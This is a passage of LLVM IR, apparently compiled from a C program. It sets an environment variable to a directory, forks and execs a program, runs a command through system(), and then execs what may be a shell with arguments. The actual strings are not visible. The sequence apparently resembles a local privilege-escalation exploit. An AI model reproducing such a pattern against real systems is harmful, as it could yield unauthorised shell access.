%42 = load i32, i32* @errno
%43 = tail call i8* @strerror(i32 %42)
%44 = tail call i32 (i32, i8*, i8*, ...) @fprintf(i32 %40, i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str.6, i64 0, i64 0), i8* %41, i8* %43)
%45 = tail call i32 @exit(i32 4)
unreachable
46: ; preds = %36
%47 = tail call i32 (i8*, i8*, ...) @sprintf(i8* dereferenceable(1) getelementptr inbounds ([512 x i8], [512 x i8]* @main.buf, i64 0, i64 0), i8* dereferenceable(1) getelementptr inbounds ([19 x i8], [19 x i8]* @.str.7, i64 0, i64 0), i8* getelementptr inbounds ([128 x i8], [128 x i8]* @main.dir, i64 0, i64 0))
%48 = tail call i64 @putenv(i8* getelementptr inbounds ([512 x i8], [512 x i8]* @main.buf, i64 0, i64 0))
%49 = icmp eq i64 %48, 0
br i1 %49, label %57, label %50
50: ; preds = %46
%51 = load i32, i32* @stderr
%52 = load i8*, i8** %1
%53 = load i32, i32* @errno
%54 = tail call i8* @strerror(i32 %53)
%55 = tail call i32 (i32, i8*, i8*, ...) @fprintf(i32 %51, i8* getelementptr inbounds ([28 x i8], [28 x i8]* @.str.8, i64 0, i64 0), i8* %52, i8* getelementptr inbounds ([512 x i8], [512 x i8]* @main.buf, i64 0, i64 0), i8* %54)
%56 = tail call i32 @exit(i32 5)
unreachable
57: ; preds = %46
%58 = tail call i32 (...) @fork()
%59 = icmp eq i32 %58, 0
br i1 %59, label %60, label %68
60: ; preds = %57
%61 = tail call i32 (i8*, i8*, i8*, i8*, ...) @execl(i8* %4, i8* %4, i8* getelementptr inbounds ([30 x i8], [30 x i8]* @.str.9, i64 0, i64 0), i8* null)
%62 = load i32, i32* @stderr
%63 = load i8*, i8** %1
%64 = load i32, i32* @errno
%65 = tail call i8* @strerror(i32 %64)
%66 = tail call i32 (i32, i8*, i8*, ...) @fprintf(i32 %62, i8* getelementptr inbounds ([28 x i8], [28 x i8]* @.str.10, i64 0, i64 0), i8* %63, i8* %4, i8* %65)
%67 = tail call i32 @exit(i32 1)
unreachable
68: ; preds = %57
%69 = icmp sgt i32 %58, 0
br i1 %69, label %70, label %93
70: ; preds = %68
%71 = load i32, i32* @WUNTRACED
%72 = tail call i32 @waitpid(i32 0, i32* null, i32 %71)
%73 = tail call i64 @chdir(i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.11, i64 0, i64 0))
%74 = icmp eq i64 %73, 0
br i1 %74, label %82, label %75
75: ; preds = %70
%76 = load i32, i32* @stderr
%77 = load i8*, i8** %1
%78 = load i32, i32* @errno
%79 = tail call i8* @strerror(i32 %78)
%80 = tail call i32 (i32, i8*, i8*, ...) @fprintf(i32 %76, i8* getelementptr inbounds ([27 x i8], [27 x i8]* @.str.12, i64 0, i64 0), i8* %77, i8* %79)
%81 = tail call i32 @exit(i32 3)
unreachable
82: ; preds = %70
tail call void @llvm.memcpy.p0i8.p0i8.i64(i8* align 16 dereferenceable(14) getelementptr inbounds ([512 x i8], [512 x i8]* @main.buf, i64 0, i64 0), i8* align 1 dereferenceable(14) getelementptr inbounds ([14 x i8], [14 x i8]* @.str.13, i64 0, i64 0), i64 14, i1 false)
%83 = tail call i32 @system(i8* getelementptr inbounds ([512 x i8], [512 x i8]* @main.buf, i64 0, i64 0))
%84 = icmp eq i32 %83, 0
br i1 %84, label %90, label %85
85: ; preds = %82
%86 = load i32, i32* @stderr
%87 = load i8*, i8** %1
%88 = tail call i32 (i32, i8*, i8*, ...) @fprintf(i32 %86, i8* getelementptr inbounds ([31 x i8], [31 x i8]* @.str.14, i64 0, i64 0), i8* %87, i8* getelementptr inbounds ([512 x i8], [512 x i8]* @main.buf, i64 0, i64 0), i32 %83)
%89 = tail call i32 @exit(i32 3)
unreachable
90: ; preds = %82
%91 = tail call i32 (i8*, i8*, i8*, i8*, ...) @execl(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.15, i64 0, i64 0), i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.15, i64 0, i64 0), i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.16, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.17, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.18, i64 0, i64 0), i8* null)
%92 = tail call i32 @exit(i32 0)
unreachable
93: ; preds = %68
%94 = load i32, i32* @stderr
%95 = load i8*, i8** %1
%96 = load i32, i32* @errno
%97 = tail call i8* @strerror(i32 %96)
%98 = tail call i32 (i32, i8*, i8*, ...) @fprintf(i32 %94, i8* getelementptr inbounds ([21 x i8], [21 x i8]* @.str.19, i64 0, i64 0), i8* %95, i8* %97)
%99 = tail call i32 @exit(i32 6)
unreachable
}